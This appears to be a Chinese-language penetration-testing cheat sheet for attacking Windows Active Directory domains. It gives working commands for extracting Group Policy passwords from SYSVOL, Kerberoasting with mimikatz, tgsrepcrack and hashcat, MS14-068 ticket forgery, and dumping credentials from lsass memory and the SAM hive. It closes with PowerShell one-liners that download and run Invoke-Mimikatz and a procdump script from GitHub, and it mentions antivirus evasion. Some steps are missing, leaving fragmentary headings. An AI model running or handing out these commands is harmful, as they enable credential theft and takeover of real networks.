# 在域中,存在一个默认的共享路径:
# \\<DOMAIN>\SYSVOL\<DOMAIN>\
# 所有域内主机都能访问,里面保存组策略相关数据,包含登录脚本配置文件等
# 测试主机所在域为 de1ay.com,可访问共享文件夹\\de1ay.com\SYSVOL\de1ay.com
# 域管理员在使用组策略批量管理域内主机时,如果配置组策略的过程中需要填入密码,那么该密码会被保存到共享文件夹\SYSVOL下,默认所有域内用户可访问,虽然被加密,但很容易被解密,获取到密码信息,通过Powershell脚本进行解密
组策略中可被利用的地方不只在修改管理员密码的位置,还包括以下:
Services\Services.xml
http://msdn.microsoft.com/en-us/library/cc980070(v=prot.13)
ScheduledTasks\ScheduledTasks.xml
http://msdn.microsoft.com/en-us/library/cc422920(v=prot.13)
http://msdn.microsoft.com/en-us/library/dd341350(v=prot.13)
http://msdn.microsoft.com/en-us/library/dd304114(v=prot.13)
Printers\Printers.xml
http://msdn.microsoft.com/en-us/library/cc422918(v=prot.13)
Drives\Drives.xml
http://msdn.microsoft.com/en-us/library/cc704598(v=prot.13)
DataSources\DataSources.xml
http://msdn.microsoft.com/en-us/library/cc422926(v=prot.13)
# spn“服务主体名称”是什么?
# 服务帐户利用SPN支持Kerberos身份验证。也就是说,当客户端需要访问sever提供的服务的时候,那么就需要使用spn查询有哪些服务。
# 这种spn扫描,是正常的,在内网中,客户端想要访问服务器的资源,都需要想DC域控查询服务主体名称。
Mimikatz
导出票据TGS,文件后缀为Kirbi
,命令:mimikatz.exe "kerberos::list /export" exit
# (1) 通过tgsrepcrack.py工具,进行服务票据爆破
# cmd: python2 tgsrepcrack.py password.txt loecho.Kirbi
# (2) 通过kirbi2john.py将导出的loecho.kirbi转换为hashcat可以破解的格式,使用hashcat破解
# cmd:
# 1. python2 kirbi2john.py python /usr/share/john/kirbi2john.py 2-40a00000-jerry@MSSQLSvc~Srv-DB-0day.0day.org~1433-0DAY.ORG.kirbi > output.txt (提取Kerberos tickets,结果output.txt的密码类型是Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
# 2. 通过HashCat进行爆破:
# cmd: hashcat -m 13100 output.txt pasword.txt --force
# (3) 通过Invoke-Kerberoast(https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1)导出票据,hashcat破解
# 执行没有任何结果
# import-module .\Invoke-Kerberoast.ps1
# Invoke-Kerberoast -AdminCount -OutputFormat Hashcat | fl
# 提示没有AdminCount参数
# Invoke-Kerberoast -OutputFormat Hashcat | fl
# Invoke-Kerberoast -OutputFormat Hashcat | Select hash | ConvertTo-CSV -NoTypeInformation
关键点: 实际使用中,免杀处理等一系列操作
最先公开的利用方法是Sylvain Monné用Python实现的PyKEK
准备条件:
Tips:
- 操作系统要求Win7及以上,这是因为XP不支持导入Ticket
- 攻击主机可使用其他域用户信息,比如可以在主机A上用域用户B的口令及sid攻击
- 将Python脚本转成exe即可在任意一台Windows主机使用
漏洞利用的步骤为:
Tips:
- 如果不先清除内存中的Ticket直接导入,有可能会失败
- 连接域控要使用域控地址,不要用IP
Benjamin DELPY用c实现了MS14-068的利用工具,更简单高效。
因为域用户对应sid本就可以通过程序自动获取,清除导入票据也能自动实现,当然,如果想用其他域用户信息攻击,也可以加上sid手动导入票据
kekeo的快捷用法仅需要以下参数:
https://github.com/TheKingOfDuck/hashdump
通过各种方式,不管是在线
还是离线
基本原理都是对Windows的Lsass.exe进行内存读取/或者是通过读取SAM数据库,提取出里面存储的用户Hash
# 编译有俩个版本,根据目标环境不同选用不同版本
# mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
QuarksPwDump
运行条件: 高权限
wce.exe -w
运行条件: 高权限reg save hklm\sam .\sam.hive® save hklm\system .\system.hive # 导出文件
# 1.解密文件,导入SAMInside,复制NT-Hash进行碰撞/查询
# 2.找自己测试机,通过Mimikatz离线读取,进行数据读取
lsadump::sam /sam:sam.hive /system:system.hive
# Procdump.exe -accepteula -ma lsass.exe lsess.dmp # 导出lsass内存文件
# 通过Mimikatz进行载入/读取:
# minidump lsass.dmp # 切换文件
# sekurlsa::logonPasswords full # 导出hash/密码
powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds"
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/TheKingOfDuck/hashdump/master/procdump/procdump.ps1');Invoke-Procdump64 -Args '-accepteula -ma lsass.exe lsass.dmp'"